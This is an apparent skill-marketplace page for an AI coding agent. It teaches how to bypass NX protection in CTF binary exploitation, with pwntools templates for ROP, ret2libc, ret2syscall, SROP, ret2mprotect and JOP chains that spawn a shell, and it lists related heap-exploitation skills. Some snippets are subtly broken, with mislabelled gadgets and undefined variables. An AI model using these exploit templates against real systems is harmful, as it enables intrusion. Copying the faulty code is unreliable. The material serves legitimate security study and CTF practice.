skills/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx/SKILL.md
Use this skill whenever analyzing binary exploitation challenges involving No-Execute (NX) protection. Trigger when the user mentions NX, non-executable stack, code-reuse attacks, ROP chains, SROP, ret2libc, ret2mprotect, or any scenario where they need to bypass execute-disable protections. This skill covers detecting NX status, understanding the protection mechanism, and implementing bypass techniques including ROP, SROP, and permission-flipping attacks.
npx skillsauth add abelrguezr/hacktricks-skills nx-protection-bypassInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
This skill helps you analyze and bypass No-Execute (NX) protection in binary exploitation challenges. NX prevents execution of code on the stack and heap, forcing attackers to use code-reuse techniques.
Use this skill when:
First, determine if NX is enabled on your target binary:
# Using checksec (recommended)
checksec --file ./vuln
# Using readelf
readelf -W -l ./vuln | grep GNU_STACK
# Look for RW (no E flag) = NX enabled
# Look for RWE (has E flag) = NX disabled
# Using execstack (quick audit)
execstack -q ./vuln
# Prints "X" if stack is executable
# Runtime check
cat /proc/<pid>/maps | grep -E "\[stack\]"
# rw- = NX enabled, rwx = NX disabled
Interpretation:
NX enabled or RW permissions = stack is non-executable (you need a bypass)NX disabled or RWE permissions = you can execute shellcode directlyChoose your bypass technique based on what's available:
| Technique | When to Use | Requirements |
|-----------|-------------|--------------|
| ROP | Most common case | ret gadgets in binary/libc |
| Ret2libc | Binary imports system/execve | Known libc addresses |
| Ret2syscall | No libc imports | Syscall numbers, register control |
| SROP | Limited gadgets, single syscall; ret | Info leak for libc base |
| Ret2mprotect | Need to run shellcode | mprotect in libc, writable page |
| JOP/COP | CET/IBT hardened, no ret gadgets | jmp [reg] or call [reg] gadgets |
ROP chains reuse existing code snippets (gadgets) ending in ret to perform arbitrary operations without injecting executable code.
Basic workflow:
ropper or radare2system("/bin/sh") or equivalentExample with pwntools:
from pwn import *
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
# Find gadgets
pop_rdi = next(elf.search(b'pop rdi; ret'))
ret2win = next(elf.search(b'pop rsi; ret'))
# Build chain
rop = ROP(elf)
rop.ret2win()
rop.ret2win()
# Or call libc functions
rop = ROP(libc)
rop.system(next(libc.search(b'/bin/sh')))
When the binary imports system and execve, you can directly call them from libc.
Requirements:
system (check with nm -D ./vuln | grep system)Template:
from pwn import *
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
# Find addresses
system_addr = libc.symbols['system']
binsh_addr = next(libc.search(b'/bin/sh'))
# Build payload
payload = flat([
'A' * offset, # Fill buffer to overwrite return address
pop_rdi, # pop rdi; ret
binsh_addr, # argument for system
system_addr # call system
])
sendline(payload)
When libc functions aren't available, use syscalls directly.
Common syscalls:
__NR_execve (59 on x64, 11 on x86) - execute program__NR_mprotect (10 on x64, 125 on x86) - change memory permissions__NR_rt_sigreturn (15 on x64, 138 on x86) - for SROPTemplate for execve:
from pwn import *
# x64 syscall convention: rax=syscall_num, rdi=arg1, rsi=arg2, rdx=arg3
rax = 59 # __NR_execve
rdi = 0 # NULL (argv[0])
rsi = 0 # NULL (argv)
rdx = 0 # NULL (envp)
# Find gadgets to set registers
pop_rax = next(elf.search(b'pop rax; ret'))
pop_rdi = next(elf.search(b'pop rdi; ret'))
# ... etc
# Find syscall; ret gadget
syscall_ret = next(elf.search(b'\x0f\x05\xc3')) # syscall; ret
payload = flat([
pop_rax, rax,
pop_rdi, rdi,
pop_rsi, rsi,
pop_rdx, rdx,
syscall_ret
])
SROP creates a fake signal frame and calls sys_rt_sigreturn to restore arbitrary register state.
When to use:
syscall; ret gadget availableBasic concept:
sigframe structure on writable memorysys_rt_sigreturn (syscall 15 on x64)Template:
from pwn import *
# Build fake sigframe
sigframe = SigreturnFrame(elf)
sigframe.rax = 0x1000 # mprotect
sigframe.rdi = 0x404000 # target address
sigframe.rsi = 0x1000 # size
sigframe.rdx = 7 # PROT_READ | PROT_WRITE | PROT_EXEC
sigframe.rip = 0x404000 # jump to shellcode after mprotect
# Find syscall; ret
syscall_ret = next(elf.search(b'\x0f\x05\xc3'))
payload = flat([
'A' * offset,
syscall_ret,
bytes(sigframe) # fake frame on stack
])
Use mprotect to make a writable page executable, then run shellcode.
Template:
from pwn import *
from pwn import shellcraft
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
# Find mprotect in libc
mprotect_addr = libc.symbols['mprotect']
# Align address down to page boundary
bss_addr = elf.bss() & ~(0x1000 - 1)
# Build ROP chain
rop = ROP(libc)
rop.mprotect(bss_addr, 0x1000, 7) # PROT_READ | WRITE | EXEC
# Payload: ROP chain + shellcode
payload = flat([
'A' * offset,
rop.chain(),
asm(shellcraft.sh()) # shellcode
])
sendline(payload)
When ret instructions are blocked (CET/IBT), use indirect jumps or calls.
Gadget patterns to find:
jmp [rax] - jump to address in raxcall [rdi] - call address in rdijmp [rdx + 0x10] - jump to address in rdx + offsetTemplate:
from pwn import *
# Find JOP gadgets
jmp_rax = next(elf.search(b'\xff\xe0')) # jmp rax
jmp_rdi = next(elf.search(b'\xff\xe7')) # jmp edi
# Build chain using indirect jumps
payload = flat([
'A' * offset,
jmp_rax,
next_gadget_addr,
# ... continue chain
])
checksec and bypass them firstropper# Run with GDB and pwndbg/gef
gdb ./vuln
# In GDB:
context # Show registers, stack, etc.
pi pwn # Access pwntools in GDB
# Check NX status in GDB
info proc mappings
# Trace execution
set follow-fork-mode child
run
testing
How to perform a House of Lore (small bin attack) heap exploitation. Use this skill whenever the user mentions heap exploitation, small bin attacks, fake chunks, glibc heap vulnerabilities, or needs to insert fake chunks into small bins for arbitrary read/write. Trigger for CTF challenges involving heap corruption, glibc 2.31+ exploitation, or when the user needs to bypass malloc sanity checks using fake chunk linking.
testing
How to perform House of Force heap exploitation attacks. Use this skill whenever the user mentions heap exploitation, House of Force, top chunk manipulation, arbitrary memory allocation, malloc manipulation, or wants to allocate chunks at specific addresses. Also trigger for CTF challenges involving heap overflows, top chunk size overwrites, or when the user needs to calculate evil_size for heap attacks. Make sure to use this skill for any binary exploitation task involving glibc heap manipulation, even if they don't explicitly say "House of Force".
tools
How to perform House of Einherjar heap exploitation to allocate memory at arbitrary addresses. Use this skill whenever the user mentions heap exploitation, glibc heap attacks, arbitrary memory allocation, off-by-one overflow exploitation, tcache poisoning, fast bin attacks, or any CTF challenge involving heap manipulation. This is essential for binary exploitation tasks where you need to control malloc() return addresses.
testing
How to identify, analyze, and exploit heap overflow vulnerabilities in binary exploitation challenges and real-world scenarios. Use this skill whenever the user mentions heap overflows, memory corruption, heap grooming, tcache poisoning, fast-bin attacks, or any heap-related vulnerability in CTF challenges, binary analysis, or security research. This skill covers heap overflow fundamentals, exploitation techniques, heap grooming strategies, and real-world CVE analysis.